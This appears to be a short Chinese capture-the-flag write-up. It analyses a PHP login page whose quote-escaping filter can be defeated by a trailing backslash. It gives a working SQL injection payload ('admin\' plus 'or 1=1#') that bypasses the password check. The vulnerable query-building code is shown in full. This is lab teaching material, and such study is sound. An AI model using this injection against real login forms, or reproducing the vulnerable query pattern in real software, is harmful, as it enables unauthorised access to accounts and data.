

源码如下

```
1  <?php
2  show_source("16.php");
3  echo '<br>';
4  require 'flag.php';
5
6  error_reporting(0);
7  require 'config.php';
8
9  function clean($str){
10     if(get_magic_quotes_gpc()){
11         $str=stripslashes($str);
12     }
13     return htmlentities($str, ENT_QUOTES);
14 }
15
16 $username = @clean((string)$_GET['username']);
17 $password = @clean((string)$_GET['password']);
18 $query='SELECT * FROM userinfo WHERE uname=\''. $username .\'\' AND pwd=
\''. $password .\'\'';
19 //echo $query;
20 $result=mysql_query($query);
21 //echo $result;
22 if(!$result || ($result) < 1){
23     die('Invalid password!');
24 }
25
26 echo $flag;
27 mysql_close($con);
28 ?>
```

查看源码，我们可以发现sql处存在注入

```
1  $query='SELECT * FROM userinfo WHERE uname=\''. $username .\'\' AND pwd=
\''. $password .\'\'';
```

虽然前面过滤了 '和"，但是还是可以使用反斜杠来转义，之后再后面构造一个恒等式来实现恒等

payload:

```
1  username=admin\&password=or 1=1%23
```